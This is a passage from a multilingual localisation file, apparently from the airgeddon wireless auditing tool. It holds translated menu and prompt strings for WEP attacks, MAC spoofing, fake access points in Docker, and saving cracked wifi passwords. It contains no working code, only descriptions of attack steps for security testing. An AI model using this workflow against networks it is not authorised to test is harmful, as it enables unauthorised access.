BeEF, но лучше, если вы сначала запустите вторую опцию" arr["GREEK",416]=" Μπορείτε να εκτελέσετε το BeEF, αλλά είναι καλύτερα να διαλέξετε τη δεύτερη επιλογή από πρίν" arr["ITALIAN",416]=" Puoi eseguire BeEF, peró si consiglia di eseguire prima la seconda opzione" arr["POLISH",416]=" Możesz uruchomić BeEF, ale zaleca się uruchomienie drugiej opcji najpierw" arr["GERMAN",416]=" Sie können BeEF ausführen, es wird jedoch empfohlen, die zweite Option vorher auszuführen" arr["TURKISH",416]=" BeEF'i çalıştırabilirsiniz, ancak daha önce ikinci seçeneği çalıştırırsanız daha iyi olur" arr["ARABIC",416]=" لكن من الأفضل تشغيل الخيار الثاني من قبل ، BeEF يمكنك تشغيل" arr["CHINESE",416]=" 您可以运行 BeEF,但最好先运行第二个选项" arr["ENGLISH",417]="An unexpected error occurred, redirecting to the menu" arr["SPANISH",417]="Ocurrió un error inesperado. Volviendo al menú" arr["FRENCH",417]="Une erreur inattendue s'est produite, retour au menu" arr["CATALAN",417]="Hi ha hagut un error inesperat, redirigint al menú" arr["PORTUGUESE",417]="Ocorreu um erro inesperado, retornando ao menu" arr["RUSSIAN",417]="Случилась непредвиденная ошибка, перенаправление в меню" arr["GREEK",417]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, γίνεται ανακατεύθυνση στο μενού" arr["ITALIAN",417]="Errore imprevisto. Tornando al menú" arr["POLISH",417]="Wystąpił nieoczekiwany błąd. Powrót do menu" arr["GERMAN",417]="Ein unerwarteter Fehler ist aufgetreten. Zurück zum Menü" arr["TURKISH",417]="Beklenmeyen bir hata oluştu, menüye yönlendiriliyorsunuz" arr["ARABIC",417]="حدث خطأ غير متوقع ، إعادة التوجيه إلى القائمة" arr["CHINESE",417]="出现意外错误,正在重定向到上一级菜单" arr["ENGLISH",418]="Restoring MAC" arr["SPANISH",418]="Restaurando MAC" arr["FRENCH",418]="Rétablissement MAC" arr["CATALAN",418]="Restaurant MAC" arr["PORTUGUESE",418]="Restaurando MAC" arr["RUSSIAN",418]="Восстановление MAC-адреса" arr["GREEK",418]="Γίνεται αποκατάσταση της διεύθυνσης MAC" arr["ITALIAN",418]="Ripristinando MAC" arr["POLISH",418]="Przywracanie MAC" arr["GERMAN",418]="Wiederherstellen von MAC" arr["TURKISH",418]="MAC eski haline getiriliyor" arr["ARABIC",418]="MAC استعادة" arr["CHINESE",418]="恢复 MAC 地址" arr["ENGLISH",419]="Do you want to spoof your MAC address during this attack? \${normal_color}\${visual_choice}" arr["SPANISH",419]="¿Deseas falsear la dirección MAC de tu tarjeta durante el ataque? \${normal_color}\${visual_choice}" arr["FRENCH",419]="Voulez-vous falsifier l'adresse MAC de votre carte pour l'attaque? \${normal_color}\${visual_choice}" arr["CATALAN",419]="¿Vols falsejar l'adreça MAC de la targeta durant l'atac? \${normal_color}\${visual_choice}" arr["PORTUGUESE",419]="Você quer modificar o endereço MAC da sua interface durante o ataque? \${normal_color}\${visual_choice}" arr["RUSSIAN",419]="Вы хотите подменить свой MAC-адрес во время этой атаки? \${normal_color}\${visual_choice}" arr["GREEK",419]="Θέλετε να κρύψετε την αληθινή διεύθυνση MAC, δημιουργώντας μία ψεύτικη κατά την διάρκεια αυτής της επίθεσης; \${normal_color}\${visual_choice}" arr["ITALIAN",419]="Vuoi falsificare l'indirizzo MAC della scheda durante l'attacco? \${normal_color}\${visual_choice}" arr["POLISH",419]="Chcesz spoofować adres MAC karty podczas ataku? \${normal_color}\${visual_choice}" arr["GERMAN",419]="Möchten Sie die MAC-Adresse Ihrer Karte während des Angriffs verfälschen? \${normal_color}\${visual_choice}" arr["TURKISH",419]="Bu saldırı sırasında MAC adresinizi değiştirmek ister misiniz? \${normal_color}\${visual_choice}" arr["ARABIC",419]="\${normal_color}\${visual_choice}\${green_color} الخاص بك أثناء هذا الهجوم؟ MAC address هل تريد انتحال\${normal_color}" arr["CHINESE",419]="您想在这次攻击中伪装您的 MAC 地址吗?\${normal_color}\${visual_choice}" arr["ENGLISH",420]="It has been detected that you are running airgeddon inside a Docker container. During this attack hostapd is used to create a fake AP. This component often conflicts with network-manager. From inside the container, airgeddon can't handle it. If you have network-manager installed on your host machine, close it or kill the conflicting processes or you'll get an error. For more information, see the Docker section of the Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["SPANISH",420]="Se ha detectado que estás ejecutando airgeddon en un contenedor de Docker. En este ataque se utiliza hostapd para crear un falso AP. Este componente suele dar conflicto con network-manager. Desde el contenedor, airgeddon no puede gestionarlo. Si tienes network-manager instalado en tu máquina host, ciérralo o mata los procesos en conflicto u obtendrás un error. Para más información consulta la sección Docker del Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["FRENCH",420]="Il a été détecté qu'airgeddon a été lancé depuis un conteneur Docker. Cette attaque à besoin d'hostapd pour créer un Point d'Accès piège. Hostapd a tendance à entrer en conflit avec network-manager et airgeddon ne peut pas le gérer depuis le conteneur. Si network-manager est installé sur votre machine host, arrêtez ou tuez les processus conflictuels. Dans le cas contraire vous obtiendrez une erreur. Pour plus d'informations, consultez la section Docker de notre Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["CATALAN",420]="S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat a la teua màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["PORTUGUESE",420]="Detectamos que você está executando airgeddon em um contêiner Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do contêiner o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["RUSSIAN",420]="Определено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки для создания поддельной AP используется hostapd. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. раздел Docker в Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["GREEK",420]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict αλλιώς θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["ITALIAN",420]="È stato rilevato che si sta eseguendo airgeddon in un contenitore Docker. In questo attacco viene utilizzato hostapd per creare un falso AP. Questo componente tende a creare un conflitto con il network-manager. Dal contenitore, airgeddon non può gestirlo. Se si dispone di network-manager installato sul computer host, chiuderlo o uccidere i processi in conflitto o ci sará un errore. Per ulteriori informazioni consultare la sezione Docker della nostra Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["POLISH",420]="Wykryto, że używasz airgeddon w kontenerze Docker. W tym ataku hostapd służy do utworzenia fałszywego AP. Ten komponent często ma konflikt z network-manager. Z kontenera airgeddon nie może sobie z tym poradzić. Jeśli na komputerze hosta zainstalowano network-manager, zamknij lub zabij sprzeczne procesy lub otrzymasz błąd. Aby uzyskać więcej informacji, zobacz sekcję Docker Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["GERMAN",420]="Es wurde festgestellt, dass Sie airgeddon in einem Docker-Container ausführen. Bei diesem Angriff wird mit hostapd ein falscher AP erstellt. Diese Komponente steht normalerweise im Konflikt mit dem network-manager. Aus dem Container kann airgeddon das nicht schaffen. Wenn Sie den network-manager auf Ihrem Host-Computer installiert haben, schließen Sie ihn oder beenden Sie die Prozesse im Konflikt oder Sie erhalten einen Fehler. Weitere Informationen finden Sie im Abschnitt Docker des Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["TURKISH",420]="Bir Docker konteynırı içinde airgeddon çalıştırdığınız tespit edildi. Bu saldırı sırasında hostapd sahte bir AP oluşturmak için kullanılır. Bu bileşen genellikle ağ yöneticisi ile çakışır. Konteynırın içinden, hava hücresi bunu kaldıramaz. Ana makinenize ağ yöneticisi yüklüyse, kapat veya çakışan işlemleri durdurun veya bir hatayla karşılaşırsınız. Daha fazla bilgi için, Wiki'nin Docker bölümüne bakın: \${normal_color}\${urlgithub_wiki}/Docker" arr["ARABIC",420]="\${normal_color}\${urlgithub_wiki}/Docker\${pink_color} :Wiki في Docker التعامل معه. إذا كان لديك مدير شبكة مثبتًا على جهازك المضيف ، فأغلقه أو اقتل العمليات المتضاربة وإلا ستحصل على خطأ. لمزيد من المعلومات ، راجع قسم airgeddon مزيف. غالبًا ما يتعارض هذا المكون مع مدير الشبكة. من داخل الحاوية ، لا يستطيع hostapd خلال هذا الهجوم ، يتم استخدام .Docker داخل حاوية airgeddon تم الكشف عن أنك تقوم بتشغيل\${normal_color}" arr["CHINESE",420]="检测到您正在 Docker 容器内运行 airgeddon。在此攻击期间,hostapd 用于创建伪造的 AP。该组件经常与网络管理器冲突。从容器内部,airgeddon 无法处理它。如果您的主机上安装了网络管理器,请关闭它或终止冲突进程,否则您将收到错误消息。有关详细信息,请参阅 Wiki 的 Docker 部分: \${normal_color}\${urlgithub_wiki}/Docker" arr["ENGLISH",421]="Doubts? Visit our Wiki: \${normal_color}\${urlgithub_wiki}" arr["SPANISH",421]="¿Dudas? Visita nuestro Wiki: \${normal_color}\${urlgithub_wiki}" arr["FRENCH",421]="Des questions? Visitez notre Wiki: \${normal_color}\${urlgithub_wiki}" arr["CATALAN",421]="¿Dubtes? Visita el nostre Wiki: \${normal_color}\${urlgithub_wiki}" arr["PORTUGUESE",421]="Dúvidas? Visite a Wiki: \${normal_color}\${urlgithub_wiki}" arr["RUSSIAN",421]="Вопросы? Посетите Wiki: \${normal_color}\${urlgithub_wiki}" arr["GREEK",421]="Απορίες; Επισκεφθείτε το Wiki μας: \${normal_color}\${urlgithub_wiki}" arr["ITALIAN",421]="Domande? Visita la nostra Wiki: \${normal_color}\${urlgithub_wiki}" arr["POLISH",421]="Czy masz wątpliwości? Odwiedź nasze Wiki: \${normal_color}\${urlgithub_wiki}" arr["GERMAN",421]="Fragen? Besuchen Sie unser Wiki: \${normal_color}\${urlgithub_wiki}" arr["TURKISH",421]="Yardım? Wiki'mizi ziyaret edin: \${normal_color}\${urlgithub_wiki}" arr["ARABIC",421]="\${normal_color}\${urlgithub_wiki}\${pink_color} :الخاص بنا Wiki لديك شكوك؟ قم بزيارة موقع\${normal_color}" arr["CHINESE",421]="使用此脚本时有疑惑?请访问我们的百科全书: \${normal_color}\${urlgithub_wiki}" arr["ENGLISH",422]="The automatic update has been disabled when airgeddon is running in a Docker container. If you want to update it, download again the image tagged as \"latest\"" arr["SPANISH",422]="La actualización automática se ha desactivado cuando airgeddon se ejecuta en un contenedor de Docker. Si deseas actualizarlo descarga de nuevo la imagen con tag \"latest\"" arr["FRENCH",422]="La mise à jour automatique est désactivée si airgeddon s'exécute depuis un conteneur Docker. Si vous voulez le mettre à jour vous devez télécharger l'image avec le label \"latest\"" arr["CATALAN",422]="L'actualització automàtica s'ha desactivat quan airgeddon s'executa en un contenidor de Docker. Si vols actualitzar-lo descàrrega de nou la imatge amb tag \"latest\"" arr["PORTUGUESE",422]="A atualização automática é desativada quando airgeddon é executado em um contêiner Docker. Se você quiser atualizar faça o download novamente da imagem em \"latest\"" arr["RUSSIAN",422]="Когда airgeddon работает в контейнере Docker, то автоматическое обновление отключено,. Если вы хотите обновить программу, то снова загрузите образ отмеченный как \"latest\"" arr["GREEK",422]="Η διαδικασία της αυτόματης ενημέρωσης είναι απενεργοποιημένη όταν το airgeddon τρέχει σε Docker container. Εάν θέλετε να το ενημερώσετε, κατεβάστε ξανά το αρχείο με την ετικέτα \"latest\"" arr["ITALIAN",422]="L'aggiornamento automatico viene disattivato quando airgeddon viene eseguito in un contenitore Docker. Se vuoi aggiornarlo scaricare di nuovo l'immagine con il tag \"latest\"" arr["POLISH",422]="Automatyczna aktualizacja została wyłączona, gdy airgeddon jest uruchomiony w kontenerze Docker. Jeśli chcesz go zaktualizować, pobierz ponownie obraz oznaczony jako \"latest\"" arr["GERMAN",422]="Die automatische Aktualisierung wird deaktiviert, wenn airgeddon in einem Docker-Container ausgeführt wird. Wenn Sie es aktualisieren möchten, laden Sie das Bild erneut mit dem Tag \"latest\"" arr["TURKISH",422]="airgeddon bir Docker konteynerinde çalışırken otomatik güncelleme devre dışı bırakıldı. Güncellemek isterseniz, \"latest\" etiketli görüntüyü tekrar indirin" arr["ARABIC",422]="مرة أخرى \"latest\" إذا كنت تريد تحديثه ، فقم بتنزيل الصورة التي تم وضع علامة عليها كـ .Docker في حاوية airgeddon تم تعطيل التحديث التلقائي عند تشغيل" arr["CHINESE",422]="当 airgeddon 在 Docker 容器中运行时,自动更新已被禁用。如果要更新它,请重新下载标记为“latest (新的) ”的 Docker 映像" arr["ENGLISH",423]="5. WEP \"All-in-One\" attack" arr["SPANISH",423]="5. Ataque WEP \"Todo-en-Uno\"" arr["FRENCH",423]="5. Attaque WEP \"Tout-en-Un\"" arr["CATALAN",423]="5. Atac WEP \"Tot-en-Un\"" arr["PORTUGUESE",423]="5. Ataque WEP \"Tudo-em-Um\"" arr["RUSSIAN",423]="5. Атака на WEP \"Все-в-Одном\"" arr["GREEK",423]="5. Επίθεση WEP \"All-in-One\"" arr["ITALIAN",423]="5. Attacco WEP \"Tutto-in-Uno\"" arr["POLISH",423]="5. Atak WEP \"Wszystko-w-Jednym\"" arr["GERMAN",423]="5. WEP-Angriff \"All-in-One\"" arr["TURKISH",423]="5. WEP \"Hepsi-bir-arada\" saldırı" arr["ARABIC",423]="5. WEP \"All-in-One\" هجوم" arr["CHINESE",423]="5. WEP \"All-in-One\" 攻击" arr["ENGLISH",424]="The selected network is invalid. Encryption type of target network must be WEP" arr["SPANISH",424]="La red seleccionada no es válida. El tipo de encriptación de la red objetivo debe ser WEP" arr["FRENCH",424]="Le réseau sélectionné est invalide . Le réseau cible doit être en WEP" arr["CATALAN",424]="La xarxa seleccionada no és vàlida. El tipus d'encriptació de la xarxa objectiu ha de ser WEP" arr["PORTUGUESE",424]="A rede selecionada é inválida. O tipo de criptografia da rede deve ser WEP" arr["RUSSIAN",424]="Выбранная сеть не подходит. Целевая сеть должна иметь шифрование WEP" arr["GREEK",424]="Το επιλεγμένο δίκτυο δεν είναι έγκυρο. Ο τύπος κρυπτογράφησης του δικτύου-στόχος πρέπει να είναι WEP" arr["ITALIAN",424]="La rete selezionata non è valida. Il tipo di crittografia della rete obiettivo deve essere WEP" arr["POLISH",424]="Wybrana sieć nie jest prawidłowa. Typem szyfrowania sieci docelowej musi być WEP" arr["GERMAN",424]="Das ausgewählte Netzwerk ist nicht gültig. Die Art der Verschlüsselung des Zielnetzwerks muss WEP sein" arr["TURKISH",424]="Seçilen ağ geçersiz. Hedef ağ şifreleme türü WEP olmalıdır" arr["ARABIC",424]="WEP الشبكة المحددة غير صالحة. يجب أن يكون نوع التشفير للشبكة المستهدفة هو" arr["CHINESE",424]="所选网络无效。目标网络的加密类型必须是 WEP" arr["ENGLISH",425]="You have a valid WEP target network selected. Script can continue..." arr["SPANISH",425]="Tienes una red objetivo WEP válida seleccionada. El script puede continuar..." arr["FRENCH",425]="Choix du réseau cible WEP valide. Le script peut continuer..." arr["CATALAN",425]="Tens una xarxa objectiu WEP vàlida seleccionada. El script pot continuar..." arr["PORTUGUESE",425]="Você tem uma rede WEP válida selecionada. O script pode continuar..." arr["RUSSIAN",425]="У вас есть подходящая целевая сеть WEP. Скрипт может продолжать..." arr["GREEK",425]="Έχετε επιλέξει ένα έγκυρο WEP δίκτυο-στόχος. Το script μπορεί να συνεχίσει..." arr["ITALIAN",425]="Hai selezionato una rete obiettivo WEP valida. Lo script può continuare..." arr["POLISH",425]="Wybrano prawidłową sieć docelową WEP. Skrypt może kontynuować..." arr["GERMAN",425]="Sie haben ein gültiges WEP-Zielnetzwerk ausgewählt. Das Skript kann fortfahren..." arr["TURKISH",425]="Seçtiğiniz geçerli bir WEP hedef ağınız var. Komut dosyası devam edebilir..." arr["ARABIC",425]="محددة. البرنامج يمكن أن يستمر WEP لديك شبكة هدف" arr["CHINESE",425]="您选择了有效的 WEP 目标网络。脚本可以继续..." arr["ENGLISH",426]="9. WEP attacks menu" arr["SPANISH",426]="9. Menú de ataques WEP" arr["FRENCH",426]="9. Menu d'attaques WEP" arr["CATALAN",426]="9. Menú d'atacs WEP" arr["PORTUGUESE",426]="9. Menu de ataques WEP" arr["RUSSIAN",426]="9. Меню атак на WEP" arr["GREEK",426]="9. Μενού επιθέσεων WEP" arr["ITALIAN",426]="9. Menú degli attacchi WEP" arr["POLISH",426]="9. Menu ataków WEP" arr["GERMAN",426]="9. WEP-Angriffsmenü" arr["TURKISH",426]="9. WEP saldırı menüsü" arr["ARABIC",426]="9. WEP قائمة هجمات" arr["CHINESE",426]="9. WEP 攻击菜单" arr["ENGLISH",427]="WEP attacks menu" arr["SPANISH",427]="Menú de ataques WEP" arr["FRENCH",427]="Menu d'attaques WEP" arr["CATALAN",427]="Menú d'atacs WEP" arr["PORTUGUESE",427]="Menu de ataques WEP" arr["RUSSIAN",427]="Меню атак на WEP" arr["GREEK",427]="Μενού επιθέσεων WEP" arr["ITALIAN",427]="Menú degli attacchi WEP" arr["POLISH",427]="Menu ataków WEP" arr["GERMAN",427]="WEP-Angriffsmenü" arr["TURKISH",427]="WEP saldırı menüsü" arr["ARABIC",427]="WEP قائمة هجمات" arr["CHINESE",427]="WEP 攻击菜单" arr["ENGLISH",428]="If real clients exist connected to the WEP encrypted network, the process will be significantly accelerated. Enough IVs (Initialization Vectors) will be catched faster" arr["SPANISH",428]="Si existen clientes reales conectados a la red con encriptación WEP, el proceso se acelerará notablemente. Se obtendrán antes suficientes IVs (Vectores de Inicialización)" arr["FRENCH",428]="Si des clients légitimes sont connectés à un rseau WEP le processus ira plus vite. Les Ivs requis (vecteurs d'incitiaisation) seront plus vite obtenus" arr["CATALAN",428]="Si hi ha clients reals connectats a la xarxa amb encriptació WEP, el procés s'accelerarà notablement. S'obtindran abans suficients IVs (Vectors d'Inicialització)" arr["PORTUGUESE",428]="Se clientes reais estiverem conectados à rede com criptografia WEP, o processo será acelerado significativamente. Serão obtidos IVs (Vetores de Inicialização) mais rapidamente" arr["RUSSIAN",428]="Если к сети с WEP шифрованием подключены реальные клиенты, то процесс будет значительно ускорен. Будет быстрее накоплено достаточное количество IVs (Векторов Инициализации)" arr["GREEK",428]="Εάν υπάρχουν αληθινοί συνδεδεμένοι χρήστες στο κρυπτογραφημένο WEP δίκτυο, η διαδικασία θα επιταχυνθεί σημαντικά. Θα καταγραφθούν αρκετά IVs (Initialization Vectors) γρηγορότερα" arr["ITALIAN",428]="Se esistono dei clienti reali connessi alla rete con crittografia WEP il processo sará piú veloce. Si otterrano prima sufficienti IV (Vettori di Inizializzazione)" arr["POLISH",428]="Jeśli istnieją prawdziwi klienci podłączeni do sieci z szyfrowaniem WEP, proces przyspiesza zauważalnie. Szybciej uzyskane zostaną wystarczające IVs (Wektory Inicjujące)" arr["GERMAN",428]="Wenn echte Clients über die WEP-Verschlüsselung mit dem Netzwerk verbunden sind, beschleunigt sich der Prozess erheblich. Ausreichende IVs werden vorher erhalten (InitialisierungsVektoren)" arr["TURKISH",428]="Gerçek istemciler WEP şifreli ağa bağlıysa, süreç önemli ölçüde hızlandırılacaktır. Yeterli İV'ler (Başlatma Vektörleri) daha hızlı yakalanacak" arr["ARABIC",428]="كافية بشكل أسرع IVs (Initialization Vectors) المشفرة ، فسيتم تسريع العملية بشكل كبير. سيتم التقاط WEP إذا كان هناك عملاء حقيقيون متصلون بشبكة" arr["CHINESE",428]="如果存在连接到 WEP 加密网络的真实客户端,则该过程将大大加快。足够的 IV (始化向量) 将被更快地捕获" arr["ENGLISH",429]="The WEP \"All-in-One\" attack combines different techniques to generate enough traffic to decrypt the key (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fake association, etc.)" arr["SPANISH",429]="El ataque WEP \"Todo-en-Uno\" combina diversas técnicas para generar el tráfico suficiente que hace falta para descifrar la clave (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentación, Falsa asociación, etc.)" arr["FRENCH",429]="L'attaque WEP \"Tout-en-Un\" combine plusieurs techniques pour générer le trafic nécessaire au décryptage de la clef (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fausse association, etc.)" arr["CATALAN",429]="L'atac WEP \"Tot-en-Un\" combina diverses tècniques per generar el trànsit suficient que cal per desxifrar la clau (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentació, Falsa associació, etc.)" arr["PORTUGUESE",429]="O ataque WEP \"Tudo-em-Um\" combina várias técnicas para gerar tráfego suficiente que é necessário para descriptografar a chave (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentação, Falsa associação, etc.)" arr["RUSSIAN",429]="Атака WEP \"Все-в-Одном\" сочетает в себе различные методы генерации трафика, достаточного для расшифровки ключа (Caffe Latte, Hirte, Replay, Chop-Chop, Дробление, Фальшивые ассоциации и т.д.)" arr["GREEK",429]="Η \"All-in-One\" επίθεση WEP συνδυάζει διαφορετικές τεχνικές για να παραχθεί αρκετή κίνηση για να αποκρυπτογραφήσει το κλειδί (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fake association, κλπ)" arr["ITALIAN",429]="L'attacco WEP \"Tutto-in-Uno\" combina diverse tecniche per generare il traffico necessario per decifrare la chiave (Caffe Latte, Hirte, Replay, Chop-Chop, Frammentazione, Falsa associazione, etc.)" arr["POLISH",429]="WEP typu \"Wszystko-w-Jednym\" łączy różne techniki, aby uzyskać wystarczająco dużo ruchu, aby odszyfrować klucz (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fałszywe asocjacja, itd.)" arr["GERMAN",429]="Der WEP-Angriff \"All-in-One\" kombiniert verschiedene Techniken, um genug Verkehr zu erzeugen, um den Schlüssel zu entschlüsseln (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentierung, falsche Assoziation, etc.)" arr["TURKISH",429]="WEP \"Hepsi-bir-arada\" saldırısı, anahtarın şifresini çözmek için yeterli teknikleri üretmek için farklı teknikleri birleştirir (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fake association, vb.)" arr["ARABIC",429]="(وما إلى ذلك Fake Association و Fragmentation و Chop-Chop و Replay و Hirte و Caffe Latte) بين تقنيات مختلفة لإنشاء حركة مرور كافية لفك تشفير المفتاح WEP \"All-in-One\" يجمع هجوم" arr["CHINESE",429]="WEP \"All-in-One\" 攻击结合了不同的技术来生成足够的流量来解密密钥 (Caffe Latte、Hirte、Replay、Chop-Chop、Fragmentation、Fake association 等)" arr["ENGLISH",430]="If the password for the wifi network is obtained with the WEP attack, you should decide where to save it. \${green_color}Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${wep_potpath}]" arr["SPANISH",430]="Si se consigue la contraseña de la red wifi con el ataque WEP, hay que decidir donde guardarla. \${green_color}Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${wep_potpath}]" arr["FRENCH",430]="Si le mot de passe est obtenu par une attaque WEP, il faut ensuite indiquer l'endroit pour la garder. \${green_color}Entrez la route vers l'endroit où vous voulez garder le fichier ou bien appuyez sur [Enter] si la route proposée par défaut vous convient \${normal_color}[\${wep_potpath}]" arr["CATALAN",430]="Si s'aconsegueix la contrasenya de la xarxa wifi amb l'atac WEP, cal decidir on guardar-la. \${green_color}Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${wep_potpath}]" arr["PORTUGUESE",430]="Se a senha da rede wifi for obtida com o ataque WEP, onde deseja salvá-la?. \${green_color}Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão \${normal_color}[\${wep_potpath}]" arr["RUSSIAN",430]="Если во время WEP атаки на Wi-Fi сеть получен пароль, вы должны решить, где его сохранить. \${green_color} Наберите путь для сохранения файла или нажмите [Enter] для принятия значения по умолчанию \${normal_color}[\${wep_potpath}]" arr["GREEK",430]="Εάν βρεθεί ο κωδικός πρόσβασης για το ασύρματο δίκτυο με την επίθεση WEP, θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. \${green_color}Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${wep_potpath}]" arr["ITALIAN",430]="Se si ottiene la password della rete wireless con l'attacco WEP, decidere dove salvarla. \${green_color}Immettere il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default \${normal_color}[\${wep_potpath}]" arr["POLISH",430]="Jeśli hasło sieci wifi zostanie zdobyte atakiem WEP, musisz zdecydować, gdzie je zapisać. \${green_color}Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${wep_potpath}]" arr["GERMAN",430]="Wenn Sie das WLAN-Passwort mit dem WEP-Angriff erhalten, müssen Sie entscheiden, wo Sie es speichern möchten. \${green_color} Geben Sie den Pfad ein, unter dem die Datei gespeichert werden soll, oder drücken Sie die [Enter]-Taste, um den Standardvorschlag \${normal_color}[\${wep_potpath}] \${blue_color}zu akzeptieren" arr["TURKISH",430]="Kablosuz ağın şifresi WEP saldırısıyla elde edilirse, nereye kaydedeceğinize karar vermelisiniz. \${green_color}Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın \${normal_color}[\${wep_potpath}]" arr["ARABIC",430]="\${normal_color}[\${wep_potpath}]\${green_color} لقبول الاقتراح [Enter] فيجب أن تقرر مكان حفظها \${blue_color}.اكتب المسار لتخزين الملف أو اضغط على ،WEP بهجوم wifi إذا تم الحصول على كلمة المرور لشبكة\${normal_color}" arr["CHINESE",430]="如果 wifi 网络的密码是通过 WEP 攻击获得的,您应该决定将其保存在何处。 \${green_color}键入存储文件的路径或按 [Enter] 接受默认建议 \${normal_color}[\${wep_potpath}]" arr["ENGLISH",431]="The WEP protocol had a bad design and can be cracked in a few minutes if we have enough generated traffic" arr["SPANISH",431]="El protocolo WEP tuvo un diseño erróneo y se puede romper en pocos minutos si se genera tráfico suficiente" arr["FRENCH",431]="Le protocole WEP n'est pas sûr et peut se déchiffrer en quelques minutes si suffisamment de trafic est généré" arr["CATALAN",431]="El protocol WEP va tindre un disseny erroni i es pot trencar en pocs minuts si es genera trànsit suficient" arr["PORTUGUESE",431]="O protocolo WEP é um projeto falho e pode ser quebrado em poucos minutos se tivermos tráfego suficiente" arr["RUSSIAN",431]="Протокол WEP сделан неудачно и при достаточном количестве сгенерированного трафика может быть взломан в считанные минуты" arr["GREEK",431]="Το πρωτόκολλο WEP είχε κακό σχεδιασμό και μπορεί να σπάσει μέσα σε λίγα λεπτά, αν έχουμε αρκετή κίνηση πακέτων" arr["ITALIAN",431]="Il protocollo WEP fú disegnato male e si puó rompere in pochi minuti se si genera abbastanza traffico" arr["POLISH",431]="Protokół WEP został nieprawidłowo zaprojektowany i może zostać złamany po kilku minutach, jeśli zostanie wygenerowany wystarczający ruch" arr["GERMAN",431]="Das WEP-Protokoll hatte ein falsches Design und kann in wenigen Minuten unterbrochen werden, wenn genügend Datenverkehr generiert wird" arr["TURKISH",431]="WEP protokolü kötü bir tasarıma sahipti ve yeterli trafik oluşturulması durumunda bir kaç dakika içinde kırılabilir" arr["ARABIC",431]="له تصميم سيء ويمكن اختراقه في بضع دقائق إذا كان لدينا ما يكفي من حركة المرور المولدة WEP بروتوكول" arr["CHINESE",431]="WEP 协议的设计的其实很糟糕,如果我们有足够的流量来进行分析,几分钟内就可以破解" arr["ENGLISH",432]="Captured IVs (Initialization Vectors) are shown on airodump capture window as \"Data\"" arr["SPANISH",432]="Los IVs (Vectores de Inicialización) capturados, son representados en la ventana de captura de airodump como \"Data\"" arr["FRENCH",432]="Les IVs (Vecteurs de Initialisation) capturés sont reportés dans la colomne \"Data\" de la console airodump-ng" arr["CATALAN",432]="Els IVs (Vectors d'Inicialització) capturats, són representats en la finestra de captura de airodump com \"Data\"" arr["PORTUGUESE",432]="Os IVs (Vetores de Inicialização) capturados, são representados na captura de janela airodump como \"Data\"" arr["RUSSIAN",432]="Захваченные IVs (Векторы Инициализации) показаны в окне захвата airodump как \"Data\"" arr["GREEK",432]="Τα ληφθέντα IVs (Initialization Vectors) εμφανίζονται στο παράθυρο καταγραφής airodump ως \"Data\"" arr["ITALIAN",432]="I IV (Vettori di Inizializzazione) catturati, sono rappresentati nella finestra di acquisizione di airodump come \"Data\"" arr["POLISH",432]="Uchwycone obiekty IV (Wektory Inicjujące) są prezentowane w oknie przechwytywania airodump jako \"Data\"" arr["GERMAN",432]="Die erfassten IVs (InitialisierungsVektoren) werden im Erfassungsfenster von airodump als \"Data\" dargestellt" arr["TURKISH",432]="Yakalanan IV'ler (Başlatma Vektörleri) airodump yakalama penceresinde \"Data\" olarak gösterilir" arr["ARABIC",432]="\"Data\" كـ airodump في نافذة التقاط الملتقطة IVs (Initialization Vectors) يتم عرض" arr["CHINESE",432]="捕获的 